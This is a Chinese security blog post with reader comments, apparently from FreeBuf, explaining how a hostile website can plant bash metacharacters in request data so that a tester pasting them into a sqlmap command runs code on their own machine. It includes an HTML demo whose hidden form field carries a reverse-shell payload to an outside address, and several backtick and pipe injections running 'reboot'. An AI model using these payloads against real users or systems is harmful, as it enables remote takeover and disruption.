注意了,使用Sqlmap的你可能踩中了“蜜罐”

* 本文原创作者:九如,本文属FreeBuf原创奖励计划,未经许可禁止转载 

Par0:楔子

你站在桥上看风景,看风景的人在楼上看你,

明月装饰了你的窗子,你装饰了别人的梦。

Par1:你要了解的事

渗透测试的同学应该都知道,在Linux下,sqlmap执行的语句大多是:

Bash#sqlmap –u "http://sample.com/a=xxx&b=xxx" –data "postdata"

or

Bash#python sqlmap.py –u "http://sample.com/a=xxx&b=xxx" –cookie "cookedata"

如此形式的语句执行,实际上都是在shell中,执行bash命令。

但是,bash命令中,一些使用几率较小的特性,很多安全测试人员可能都不求甚解。

通过阅读Bash参考手册,可以了解到,在bash命令中,一些字符在封闭的双引号中,有特殊的含义,并非所见即所得。

Enclosing characters in double quotes (‘"’)preserves the literal value of all characters within the quotes, with theexception of ‘$’, ‘`’, ‘\’, and, whenhistory expansion is enabled, ‘!’. When the shell is in POSIX mode (seeBash POSIX Mode),the ‘!’ hasno special meaning within double quotes, even when history expansion isenabled. The characters ‘$’ and ‘`’ retain theirspecial meaning within double quotes (see Shell Expansions).The backslash retains its special meaning only when followed by one of the followingcharacters: ‘$’, ‘`’, ‘"’, ‘\’, or newline. Within doublequotes, backslashes that are followed by one of these characters are removed.Backslashes preceding characters without a special meaning are left unmodified.A double quote may be quoted within double quotes by preceding it with abackslash. If enabled, history expansion will be performed unless an ‘!’ appearing indouble quotes is escaped using a backslash. The backslash preceding the ‘!’ is notremoved.

The special parameters ‘*’ and ‘@’ have specialmeaning when in double quotes (see Shell Parameter Expansion).

如果,懒着弄明白上面的意思,最好的办法就是在自己的Linux中执行相关的命令:

如ping “!!”,ping “`reboot`”,看看会产生怎样神奇的效果

说的明白点,双引号中的”!!”或者”!+数字”,会替换成历史命令,执行”history”命令,就可以知道哪些数字对应哪些命令了。如果我将”!”放入到http请求中,而渗透测试人员执行例如

bash# sqlmap -u "www.asnine.com/test" --data"post!!request=hacked"

首先双引号中的!!会被替换成你最近执行的一条历史命令,然后在发送到webserver,如果webserver是恶意的,那么他就可以轻松的收集到你的bash中的历史输入了,也算是一种信息泄露吧。

如果仅仅是信息收集,危害还小一些,如果用”`”(数字1前面那个反单引号字符),可就厉害了。任何”`”之间的命令,都会被执行,如果仅仅是为了好玩,一个reboot,就够你受了,但是如果还有其他的想法,你的系统可就危在旦夕了

如果我将这些特殊的字符(“!” , “`”…)放到get/post/cookie等http请求参数中,万一有人用sqlmap去对该网站进行安全测试,而注入参数正好包含了这些特殊字符,那么有意思的事情就产生了

此时,你通过拦截浏览器获取的http post如果是恶意代码

执行:

sqlmap –u "http://sample.com/a=xxx&b=xxx" –data "evilcode"

结果就是,装逼不成反被BI~

Par2:姑且称之为sqlmap honeypot吧

现在,我的目的很单纯,就是将特殊字符嵌入到http的请求数据中,以达到对渗透人员的反戈一击。

要做到一个强力的反击,首先需要将诸如”!”, “`”等字符串,放入http请求中。

而http请求,主要包括get request,cookie,post request三种。

大多时候,渗透人员通过获取post数据作为sql的注入点,所以,要找到一种在post情况下的危险参数注入。

由于post数据,可以构造的相对比较复杂,很多时候,渗透人员只是将所有参数一股脑的作为sqlmap的data参数进行测试,所以可以很好的做到将危险参数嵌入到post data数据中,以达到隐藏自身的目的。

接下来,要做的就是如果渗透人员在通过利用例如Burp Suite等工具获取sqlmap注入使用的参数时,获取到的字符为未编码的可见字符。

在用form进行提交数据时,如果添加enctype=”text/plain”属性,那么,就可以做到可见即可得。

测试demo:

<html>

<head>

<title> A sqlmap honeypot demotitle>

head>

<body>

<input>search the userinput>

<form id="myForm" action="username.html" method="post" enctype="text/plain">

<input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/>

<input type="button"onclick="myForm.submit()" value="Submit">

form>

body>

html>

访问该页面,进行查询时,发送到请求为:

注意了,使用Sqlmap的你可能踩中了“蜜罐”_第1张图片

这时,很多没有经验的安全渗透人员就可能将postdata,复制,粘贴,sqlmap执行之:

Boom!

Par3:换个姿势,再来一遍

前两拍,为了所谓的神秘感,利用人们不常用的bash特性,强行装了一波。

但是,既然利用场景是:

bash# exec "evil code"

那么事情可能会变得更加简单。

使用过Linux的,大多数都用到过管道(|),而这个功能,能更好好的完成任务。

如果注入参数是:

"|reboot" (参数中包含双引号)

那么执行的命令则为:

bash# exec ""|reboot""

以上,我都假设的是,渗透人员将参数放入到双引号(“)中。但使用管道,单引号的问题也迎刃而解

针对单引号,可以将注入参数设置为:

'|reboot'

Double Kill!

Par4:尾声

以上都是我在测试一个网站时,其cookie中包含了

"!+number"

导致了sqlmap语句的执行错误引起的。于是乎,深入追踪了下,发现其实主要原因属于bash的特性。如果利用这个特性做恶,的确存在一定的安全风险。

很多时候,我们并不能确保输入数据安全性,尤其在使用sqlmap这种输入参数来源于攻击目标的情况下。如果有人在获取的参数(get/post/cookie)上动了手脚,渗透人员很可能偷鸡不成拾把屎。

相信,只要理解了攻击手段,很多人会构造出更完美的攻击数据,这里就不献丑了。

而且,伪装到位的话,服务器甚至可以返回一些注入成功的信息

这个时候,sqlmap使用者,就有些悲剧了,他们沉浸在在成功的喜悦中,却未料到背后隐藏的杀机

当然,这种利用bash特性的攻击方式,并不仅仅作用于sqlmap,也可能用于其它依赖于Linux命令行执行的程序。Sqlmap只不过是这种特性的一个很好的利用场景。

Done!

* 本文原创作者:九如,本文属FreeBuf原创奖励计划,未经许可禁止转载

这些评论亮了

  • freebuffzck (4级) 回复
    卧槽,新姿势学到了,然而我用的是windows版的sqlmap。
    ) 102 ( 亮了
  • 你大爷的大 回复
    吓得我赶紧拿起手上的啊D
    ) 16 ( 亮了
  • 九如 (3级) asnine.com 回复
    @ freebuffzck  大黑客不都是用Kali吗,
    ) 7 ( 亮了
发表评论

已有 36 条评论

  • freebuffzck  (4级)  2016-10-18 回复 1楼

    卧槽,新姿势学到了,然而我用的是windows版的sqlmap。

    亮了( 102)
    • 九如  (3级) asnine.com  2016-10-18 回复

      @ freebuffzck  大黑客不都是用Kali吗,

      亮了( 7)
  • qitian100  (1级)  2016-10-18 回复 2楼

    不错的思路

    亮了( 0)
    • 九如  (3级) asnine.com  2016-10-18 回复

      @ qitian100  其实和sql注入很像,都是命令拼接技术,只不过是颠倒了场景

      亮了( 0)
  • KevinChowSec  2016-10-18 回复 3楼

    anyway,巧了个警钟,话说回来,我们怎么隐蔽做数据收集不被发现呢?

    亮了( 1)
  • ohlinge  2016-10-18 回复 4楼

    win呢

    亮了( 1)
  • jyf007  (1级)  2016-10-18 回复 5楼

    只要切换普通用户,用busybox就可以破了

    亮了( 1)
  • evil7  (3级) 入梦落樱满熏香,梦醒犹记四月谎  2016-10-18 回复 6楼

    卧槽,新姿势学到了,然而我用sqlmap一般zsh会对uri自动反杠转译。

    亮了( 4)
  • 你大爷的大  2016-10-18 回复 7楼

    吓得我赶紧拿起手上的啊D

    亮了( 16)
  • M1sT4k3r  2016-10-18 回复 8楼

    哈哈哈 我看到笑了

    亮了( 0)
  • Jumbo  (5级) 论坛https://www.chinabaiker.com  2016-10-18 回复 9楼

    改版了

    亮了( 1)
  • destiny1990  (1级)  2016-10-18 回复 10楼

    厉害了,我的哥!

    亮了( 0)
  • Drizzle.Risk  (3级) 高级续秒工程师  2016-10-18 回复 11楼

    这个分享不错 :!:

    亮了( 1)
  • Scales  (1级)  2016-10-18 回复 12楼

    卧槽,新姿势学到了,然而我用的是windows版的sqlmap。

    亮了( 2)
  • Heart念  (1级)  2016-10-18 回复 13楼

    厉害了,我的哥

    亮了( 0)
  • 廖新喜1  2016-10-18 回复 14楼

    这个切入思路还是很好的,在chrome浏览器的调试窗口中,就有copy as cURL(cmd)和copy as cURL(bash),区别就在于这个单引号和双引号,在bash中换成了单引号

    亮了( 3)
  • style  2016-10-18 回复 15楼

    好像把双引号换成单引号就可以了吧,何必这么麻烦

    亮了( 0)
    • 九如  (3级) asnine.com  2016-10-18 回复

      @ style 用管道(|),单引号也能中招,其实是一种bash命令行拼接技术,话说sql注入,不也是命令拼接而成的攻击吗

      亮了( 1)
  • 死宅10086  (6级)  2016-10-18 回复 16楼

    厉害。。。

    亮了( 1)
  • 墨霝  (1级)  2016-10-18 回复 17楼

    厉害了我的哥!不过一般还是用win版的sqlmap比较方便。

    亮了( 0)
  • 静默  (2级)  2016-10-18 回复 18楼

    如果以后出win的后门一定要告诉我们,因为目测评论区,好多win的

    亮了( 2)
  • Tester  2016-10-18 回复 19楼

    以后是不是要添加一个sqlmap专用的低权限用户啊~哈哈

    亮了( 1)
  • 123456hhh  2016-10-18 回复 20楼

    强迫症都要犯了,非要par0,par1吗?写全称不好么?

    亮了( 0)
  • 不爱写代码的Mosuan  2016-10-19 回复 21楼

    爬虫抓的时候一般都是不修改原始数据去跑

    亮了( 0)
  • 栋栋的栋  2016-10-19 回复 22楼

    是利用baah特性,把url放到终端才有可能被攻击

    亮了( 0)
  • 放逐33  (3级) 别说我懒,我写了十个字。  2016-10-19 回复 23楼

    膜拜大神们

    亮了( 0)
  • \x68\x74\x74\x70\x73\x3A\x2F\x2F  2016-10-19 回复 24楼

    这个网友不简单

    亮了( 2)
  • xxxooo  2016-10-20 回复 25楼

    sqlmap -r呢

    亮了( 1)
  • 奶牛的钳子  (1级)  2016-10-20 回复 26楼

    这波姿势厉害了

    亮了( 0)
  • 二维码  (1级)  2016-10-20 回复 27楼

    吓得我赶紧拿起手上的啊D

    亮了( 1)
  • bendawang  (1级)  2016-10-20 回复 28楼

    这个姿势赶紧get下

    亮了( 0)
  • intC  2016-10-21 回复 29楼

    我试过了 不行 kali下的sqlmap 不知道哪里弄错了

    亮了( 1)
  • 啦啦啦  2016-10-21 回复 30楼

    写的云里雾里,表示按照操作,无法操作。

    亮了( 1)
    • 九如  (3级) asnine.com  2016-10-21 回复

      @ 啦啦啦
      贼拉简单,在本地都测过,主要是提供个思路啊,怎么能无法操作呢?
      bash# sqlmap -u “test.com”-d "`reboot`"
      bash# sqlmap -u “test.com”-d "aaa" | reboot ""

      亮了( 1)
      • 大哥大111  (1级)  2016-10-25 回复

        @ 九如  亲测有效

        亮了( 1)
  • liuchaoth  (1级)  2016-10-21 回复 31楼

    跟bash的型号和版本是不是也有关系呢,有些bash会认感叹号星号啥的,有些就没反应

你可能感兴趣的:(python-hack)